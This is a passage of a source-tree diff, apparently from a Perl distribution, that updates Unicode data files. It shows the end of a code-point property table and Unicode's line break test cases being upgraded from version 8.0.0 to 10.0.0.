+1F6ED..1F6EF ; U # Cn [3] <reserved-1F6ED>..<reserved-1F6EF>
+1F6F0..1F6F8 ; U # So [9] SATELLITE..FLYING SAUCER
+1F6F9..1F6FF ; U # Cn [7] <reserved-1F6F9>..<reserved-1F6FF>
+1F700..1F773 ; U # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
+1F774..1F77F ; U # Cn [12] <reserved-1F774>..<reserved-1F77F>
+1F780..1F7D4 ; U # So [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
+1F7D5..1F7FF ; U # Cn [43] <reserved-1F7D5>..<reserved-1F7FF>
+1F800..1F80B ; R # So [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
+1F810..1F847 ; R # So [56] LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD..DOWNWARDS HEAVY ARROW
+1F850..1F859 ; R # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
+1F860..1F887 ; R # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
+1F890..1F8AD ; R # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
+1F900..1F90B ; U # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F90C..1F90F ; U # Cn [4] <reserved-1F90C>..<reserved-1F90F>
+1F910..1F93E ; U # So [47] ZIPPER-MOUTH FACE..HANDBALL
+1F93F ; U # Cn <reserved-1F93F>
+1F940..1F94C ; U # So [13] WILTED FLOWER..CURLING STONE
+1F94D..1F94F ; U # Cn [3] <reserved-1F94D>..<reserved-1F94F>
+1F950..1F96B ; U # So [28] CROISSANT..CANNED FOOD
+1F96C..1F97F ; U # Cn [20] <reserved-1F96C>..<reserved-1F97F>
+1F980..1F997 ; U # So [24] CRAB..CRICKET
+1F998..1F9BF ; U # Cn [40] <reserved-1F998>..<reserved-1F9BF>
+1F9C0 ; U # So CHEESE WEDGE
+1F9C1..1F9CF ; U # Cn [15] <reserved-1F9C1>..<reserved-1F9CF>
+1F9D0..1F9E6 ; U # So [23] FACE WITH MONOCLE..SOCKS
+1F9E7..1F9FF ; U # Cn [25] <reserved-1F9E7>..<reserved-1F9FF>
+20000..2A6D6 ; U # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
+2A6D7..2A6FF ; U # Cn [41] <reserved-2A6D7>..<reserved-2A6FF>
+2A700..2B734 ; U # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
+2B735..2B73F ; U # Cn [11] <reserved-2B735>..<reserved-2B73F>
+2B740..2B81D ; U # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
+2B81E..2B81F ; U # Cn [2] <reserved-2B81E>..<reserved-2B81F>
+2B820..2CEA1 ; U # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEA2..2CEAF ; U # Cn [14] <reserved-2CEA2>..<reserved-2CEAF>
+2CEB0..2EBE0 ; U # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+2EBE1..2F7FF ; U # Cn [3103] <reserved-2EBE1>..<reserved-2F7FF>
+2F800..2FA1D ; U # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
+2FA1E..2FFFD ; U # Cn [1504] <reserved-2FA1E>..<reserved-2FFFD>
+30000..3FFFD ; U # Cn [65534] <reserved-30000>..<reserved-3FFFD>
+E0001 ; R # Cf LANGUAGE TAG
+E0020..E007F ; R # Cf [96] TAG SPACE..CANCEL TAG
+E0100..E01EF ; R # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
+F0000..FFFFD ; U # Co [65534] <private-use-F0000>..<private-use-FFFFD>
+100000..10FFFD ; U # Co [65534] <private-use-100000>..<private-use-10FFFD>
+
+# EOF
diff --git a/gnu/usr.bin/perl/lib/unicore/auxiliary/LBTest.txt b/gnu/usr.bin/perl/lib/unicore/auxiliary/LBTest.txt
index 7f2e2cc54f2..6715446aba2 100644
--- a/gnu/usr.bin/perl/lib/unicore/auxiliary/LBTest.txt
+++ b/gnu/usr.bin/perl/lib/unicore/auxiliary/LBTest.txt
@@ -1,6111 +1,7121 @@
-# LineBreakTest-8.0.0.txt
-# Date: 2015-04-30, 09:40:15 GMT [MD]
+# LineBreakTest-10.0.0.txt
+# Date: 2017-04-14, 05:40:30 GMT
+# © 2017 Unicode®, Inc.
+# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
+# For terms of use, see http://www.unicode.org/terms_of_use.html
#
# Unicode Character Database
-# Copyright (c) 1991-2015 Unicode, Inc.
-# For terms of use, see http://www.unicode.org/terms_of_use.html
-# For documentation, see http://www.unicode.org/reports/tr44/
+# For documentation, see http://www.unicode.org/reports/tr44/
#
-# Default Line Break Test
+# Default Line_Break Test
#
# Format:
-# <string> (# <comment>)?
-# <string> contains hex Unicode code points, with
-# ÷ wherever there is a break opportunity, and
+# <string> (# <comment>)?
+# <string> contains hex Unicode code points, with
+# ÷ wherever there is a break opportunity, and
# × wherever there is not.
# <comment> the format can change, but currently it shows:
# - the sample character name
# - (x) the Line_Break property value for the sample character
-# - [x] the rule that determines whether there is a break or not
-# Note: The Line Break tests use tailoring of numbers described in Example 7 of Section 8.2 Examples of Customization.
-# They also differ from the results produced by a pair table implementation in sequences like: ZW SP CL.
+# - [x] the rule that determines whether there is a break or not,
+# as listed in the Rules section of LineBreakTest.html
+#
+# Note:
+# The Line_Break tests use tailoring of numbers described in
+# Example 7 of Section 8.2, "Examples of Customization" of UAX #14.
#
# These samples may be extended or changed in the future.
#
× 0023 × 0023 ÷ # × [0.3] NUMBER SIGN (AL) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
× 0023 × 0020 ÷ 0023 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0023 × 0308 × 0023 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0023 × 0308 × 0023 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0023 ÷ 2014 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0023 × 0020 ÷ 2014 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0023 × 0308 ÷ 2014 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0023 × 0308 ÷ 2014 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0023 × 0009 ÷ # × [0.3] NUMBER SIGN (AL) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0023 × 0020 ÷ 0009 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0023 × 0308 × 0009 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0023 × 0308 × 0009 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0023 ÷ 00B4 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0023 × 0020 ÷ 00B4 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0023 × 0308 ÷ 00B4 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0023 × 0308 ÷ 00B4 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0023 × 000B ÷ # × [0.3] NUMBER SIGN (AL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0023 × 0020 × 000B ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0023 × 0308 × 000B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0023 × 0308 × 0020 × 000B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0023 × 0308 × 000B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0023 × 0308 × 0020 × 000B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0023 ÷ FFFC ÷ # × [0.3] NUMBER SIGN (AL) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0023 × 0020 ÷ FFFC ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0023 × 0308 ÷ FFFC ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0023 × 0308 ÷ FFFC ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0023 × 007D ÷ # × [0.3] NUMBER SIGN (AL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0023 × 0020 × 007D ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0023 × 0308 × 007D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0023 × 0308 × 0020 × 007D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0023 × 0308 × 007D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0023 × 0308 × 0020 × 007D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0023 × 0029 ÷ # × [0.3] NUMBER SIGN (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0023 × 0020 × 0029 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0023 × 0308 × 0029 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0023 × 0308 × 0020 × 0029 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0023 × 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0023 × 0020 ÷ 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0023 × 0308 × 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0023 × 0308 × 0029 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0023 × 0308 × 0020 × 0029 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0023 × 000D ÷ # × [0.3] NUMBER SIGN (AL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0023 × 0020 × 000D ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0023 × 0308 × 000D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0023 × 0308 × 0020 × 000D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0023 × 0308 × 000D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0023 × 0308 × 0020 × 000D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0023 × 0021 ÷ # × [0.3] NUMBER SIGN (AL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0023 × 0020 × 0021 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0023 × 0308 × 0021 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0023 × 0308 × 0020 × 0021 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0023 × 0308 × 0021 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0023 × 0308 × 0020 × 0021 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0023 × 00A0 ÷ # × [0.3] NUMBER SIGN (AL) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0023 × 0020 ÷ 00A0 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0023 × 0308 × 00A0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0023 × 0308 × 00A0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0023 ÷ AC00 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0023 × 0020 ÷ AC00 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0023 × 0308 ÷ AC00 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0023 × 0308 ÷ AC00 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0023 ÷ AC01 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0023 × 0020 ÷ AC01 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0023 × 0308 ÷ AC01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0023 × 0308 ÷ AC01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0023 × 05D0 ÷ # × [0.3] NUMBER SIGN (AL) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0023 × 0020 ÷ 05D0 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0023 × 0308 × 05D0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0023 × 0308 × 05D0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0023 × 002D ÷ # × [0.3] NUMBER SIGN (AL) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0023 × 0020 ÷ 002D ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0023 × 0308 × 002D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 002D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0023 × 0308 × 002D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 002D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0023 ÷ 231A ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 0023 × 0020 ÷ 231A ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0023 × 0308 ÷ 231A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 231A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0023 × 0308 ÷ 231A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 231A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0023 × 2024 ÷ # × [0.3] NUMBER SIGN (AL) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
× 0023 × 0020 ÷ 2024 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0023 × 0308 × 2024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0023 × 0308 × 2024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0023 × 002C ÷ # × [0.3] NUMBER SIGN (AL) × [13.02] COMMA (IS) ÷ [0.3]
× 0023 × 0020 × 002C ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0023 × 0308 × 002C ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0023 × 0308 × 0020 × 002C ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0023 × 0308 × 002C ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0023 × 0308 × 0020 × 002C ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0023 ÷ 1100 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0023 × 0020 ÷ 1100 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0023 × 0308 ÷ 1100 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0023 × 0308 ÷ 1100 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0023 ÷ 11A8 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0023 × 0020 ÷ 11A8 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0023 × 0308 ÷ 11A8 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
